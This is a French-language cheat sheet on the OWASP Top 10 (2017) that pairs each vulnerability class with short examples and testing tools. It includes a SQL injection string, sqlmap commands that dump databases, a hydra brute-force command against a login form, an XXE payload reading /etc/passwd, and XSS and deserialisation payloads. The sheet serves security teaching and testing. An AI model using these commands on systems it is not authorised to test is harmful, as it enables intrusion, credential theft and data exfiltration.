OWASP Top 10 - Cheat Sheet (2017)

L'OWASP Top 10 est une classification des vulnérabilités de sécurité les plus critiques dans les applications web. Voici une liste complète avec des exemples d'attaques, des outils de test, et des commandes pour chaque type de vulnérabilité.

1. Injection SQL (SQLi)

L'injection SQL permet d'exécuter des requêtes arbitraires sur une base de données.

Exemple d'attaque :

```
' OR '1'='1' --
```

Outils de test :

```
sqlmap -u "http://site.com/login.php?id=1" --dump
```

- Dump complet de la base de données.

```
sqlmap -u "http://site.com/login.php?id=1" --dbs
```

- Liste des bases de données.

2. Authentification Brisée

Mauvaise gestion des sessions et mots de passe permettant l'usurpation d'identité.

Exemple d'attaque :

- Utilisation de mots de passe faibles.
- Vol de session via un cookie non protégé.

Outils de test :

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form
"/login.php:username=^USER^&password=^PASS^:F=Incorrect"
```

- Brute force sur formulaire de connexion.

```
jwt-tool "<token>" -C
```

- Manipulation de tokens JWT.

3. Exposition de Données Sensibles

Données personnelles ou mots de passe stockés sans chiffrement.

Test avec Curl :

```
curl -X GET "http://site.com/api/userinfo" -H "Authorization: Bearer
<token>"
```

4. Attaque XXE (XML External Entities)

L'exploitation d'une mauvaise configuration XML pour accéder à des fichiers.

Exemple de payload :

```
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user>&xxe;</user>
```

Outils de test :

```
curl -X POST -d "<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM
'file:///etc/passwd'>]><user>&xxe;</user>" http://site.com/vulnerable
```

5. Contrôle d'Accès Brisé

Accès non autorisé à des ressources restreintes.

Test avec Curl :

```
curl -X GET "http://site.com/admin" -b "sessionid=xyz"
```

6. Mauvaise Configuration de Sécurité

Mauvaise gestion des permissions, services exposés inutilement.

Scan avec Nmap :

```
nmap -A -p- --script=vuln site.com
```

- Scan complet pour détecter les services vulnérables.

7. Cross-Site Scripting (XSS)

Injection de scripts malveillants dans des pages web.

Exemple de payload :

```
<script>alert('XSS')</script>
```

Outils de test :

- Burp Suite : Modification des requêtes HTTP pour tester l'injection.
- XSS Hunter : Outil avancé pour détecter les vulnérabilités XSS.

8. Désérialisation Insecure

Exploitation d'objets sérialisés pour exécuter du code malveillant.

Exemple d'attaque PHP :

```
O:4:"Test":1:{s:4:"data";s:12:"Malicious Code";}
```

Outils de test :

```
ysoSerial <payload>
```

- Génération de payloads désérialisés pour Java.

9. Utilisation de Composants Vulnérables

Dépendances logicielles obsolètes et exploitables.

Scan de vulnérabilités :

```
nmap --script http-vuln* -p 80 site.com
```

Outils additionnels :

- Dependency-Check : Scanner des dépendances pour détecter les vulnérabilités connues.
- Retire.js : Détection de librairies JavaScript vulnérables.

10. Surveillance et Journalisation Insuffisantes

Absence de logs permettant la détection d'attaques.

Outils de monitoring :

- Wazuh (SIEM Open Source)
- Splunk
- ELK Stack (Elasticsearch, Logstash, Kibana)

Exemple de configuration Elasticsearch :

```
curl -XGET 'localhost:9200/_cat/indices?v&pretty'
```